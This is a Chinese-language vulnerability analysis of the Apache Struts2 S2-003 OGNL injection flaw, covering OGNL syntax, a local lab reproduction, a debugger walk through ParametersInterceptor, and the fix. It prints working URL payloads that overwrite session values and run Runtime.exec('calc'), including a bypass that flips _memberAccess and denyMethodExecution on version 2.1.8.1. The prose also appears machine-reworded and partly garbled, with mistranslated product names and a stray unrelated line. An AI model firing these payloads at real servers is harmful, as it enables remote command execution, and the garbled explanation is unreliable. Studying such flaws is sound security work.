个中 params 拦截器也即是 com.opensymphony.xwork2.interceptor.ParametersInterceptor ,他卖力获取到提交的参数值,并将要求传输的参数赋值到对应的栈中。

#二、漏洞概述

S2-003 漏洞就涌如今 com.opensymphony.xwork2.interceptor.ParametersInterceptor 拦截器处理时, doIntercept 方法对提交的参数对值栈中的数据进行赋值,同时进行解析,此时过滤不严导致可以通过 ognl 表达式操作值栈中 map/context 栈 的工具来实行方法,进而导致命令实行。

首先我们可以先看看 ognl 取出 context/map 栈中的工具的属性的语法:

jsp截取两个字符串之间Struts2 系列破绽  S2003S2005 RESTful API

● #object.属性名称

● #object[“属性名称”]

● #object[“属性名称”]

ognl 取出 root 栈中工具的属性的语法为(从栈顶往下找同名的属性值):

● 属性名称

● [“属性名称”]

● [“属性名称”]

如果在 root 栈中想找详细第几个工具的属性:

● [索引].属性名称

● [索引].[“属性名称”]

● [索引].[“属性名称”]

● 举个栗子:[0].username 找自栈顶起第一个工具的 username 属性。

通过 ognl 表达式来调用工具的属性 / 方法:

● 获取静态属性值:@全类名@静态属性名

● 调用静态方法:@全类名@静态方法(参数列表)

● 调用栈顶工具非静态方法:方法名(参数列表)

官方链接:

https://cwiki.apache.org/confluence/display/WW/S2-00

影响版本:

支柱 2.0.0 - 支柱 2.1.8.1

#三、漏洞复现

环境:

阿帕奇-雄猫-9.0.37 、 jdk1.8.0_261 、 支柱 2.0.11

tomcat7 及往后的版本会严格按照 RFC 3986 规范进行访问解析,而 RFC 3986 规范定义了 Url 中只许可包含英笔墨母 a-zA-Z 、数字 0-9 、 -_.~ 4 个分外字符以及所有保留字符( RFC 3986 中指定了以下字符为保留字符:!
' ( ) ;: @ & = + $ , / ?# [ ])

即 tomcat7 后的版本在 payload 中利用 [、]、(、) 需进行 url 编码。

由于漏洞影响版本 Struts 2.0.0 - Struts 2.1.8.1 ,以是实在可以沿用上个漏洞环境。
乃至可以更简化,根据官方给的 payload :('\u0023'%20%2b%20'session'user'')(unused)=0wn3d。
Action 返回到 index.jsp 回显 session.user 即可。
想换个版本的话就把相应的 jar 包都更换掉。

LoginAction.java :( error 返回到 index.jsp )

index.jsp:(取出 session.user )

实行 payload :

官方给的没有实行成功,233 为什么,格式的问题吗?我没有弄明白。
然后考试测验自己改了一下,成功了。

payload :http://localhost:8080/login.action?%28%27\u0023session%5b%27user%27%5d%27%29%28unused%29=teesst

解码即为:('\u0023session['user']')(unused)=teesst

payload :http://localhost:8080/login.action?%28%27\u0023session%2euser%27%29%28unused%29=teesst

解码即为:('\u0023session.user')(unused)=teesst

测试创造去掉后面的 (unused) 也可。
\u0023 为 # 号。
他的格式问题我没弄明白,【网上说有两种格式,一种 (表达式)(常量)=value ,另一种 (表达式)(常量)(常量) 】。
意思该当是明白的:取出 session 工具,将其的 user 赋值为 teesst 。

繁芜一点的 payload :

('\u0023context['xwork.MethodAccessor.denyMethodExecution']\u003dfalse')(bla)(bla)&('\u0023myret\u003d@java.lang.Runtime@getRuntime().exec('calc')')(bla)(bla) 【这里没有 url 编码是由于我悄咪咪换了个低版本的 tomcat 】

payload 解读:首先将 denyMethodExecution 设置为 false ,然后实行打算器的命令。
为什么最开始要将 denyMethodExecution 设置为 false ,可以看看剖析。

#四、剖析

我们先根据官网给的 payload 来看,带参数 ('\u0023session['user']')(unused)=teesst 要求 login.action ,根据 struts.xml 中的配置,会路由到 LoginAction 的 login 方法。
进入方法前前辈拦截器,在 ParameterInterceptor 中获取参数,并将属性值存入 ValueStack 值栈中。

那我们从进入 com.opensymphony.xwork2.interceptor.ParametersInterceptor#doIntercept 方法开始看。

在 88 行进行了参数赋值,我们跟进去。

在 123 行中进入了 acceptableName(name) 进行判断。
这里是个过滤条件。

这里判断了 name 中是否包含了 =,#: 字符以及 pojo 字符串,正因如此 payload 中对 # 号进行了 Unicode 编码。
接着前面的进入到 129 行的 setValue 方法中。

跟进到 OgnlUtil#setValue 方法【这个调用链是不是有点熟习,和 S2-001 的是不是差不多,只不是 S2-001 是 findValue 】

连续跟进,在 compile 方法中对表达式进行理解码。
(实在是跟进 parseExpression 方法更深的地方对 Unicode 编码进行理解码 )

进而将其转化为语法树,终极在 ognl.ASTEval#setValueBody 中对 map 栈中 session 域工具中的 user 赋值。

我们赋值完参数进入 action 逻辑处理,返回 error ,对应页面 index.jsp ,取出 session 中的 user 显示:

接下来我们来看繁芜一点的 payload 实行打算器的命令:

('\u0023context['xwork.MethodAccessor.denyMethodExecution']\u003dfalse')(bla)(bla)&('\u0023myret\u003d@java.lang.Runtime@getRuntime().exec('calc')')(bla)(bla)

是不是实在也是一样的,但是由于设置不许可方法实行,故此时通过 context 将参数值 xwork.MethodAccessor.denyMethodExecution 设为 false 才能实行方法。

在高版本中,如 struts2.1.8.1 中增加了 excludeParams 加了以 struts 开头的参数不进行解析,以及匹配的模式 [[\p{Graph}\s]&&[^,#:=]] (仅除了 ,#:= 之外的可见字符才会进行解析)。

且默认禁止了静态方法的实行:

是不是仍旧是治标不治本,我仍旧可以通过 ognl 表达式将其参数打开。

看 payload :

/login.action?('\u0023_memberAccess['allowStaticMethodAccess']')(bla)=true&('\u0023context['xwork.MethodAccessor.denyMethodExecution']\u003dfalse')(bla)(bla)&('\u0023myret\u003d@java.lang.Runtime@getRuntime().exec('calc')')(bla)(bla)

这里须要把稳的是我们通过 _memberAccess 可以获取到 SecurityMemberAccess 的实例,从而对个中的 allowStaticMethodAccess 进行赋值。

#五、修复

在 acceptableName 判断时完善了过滤正则。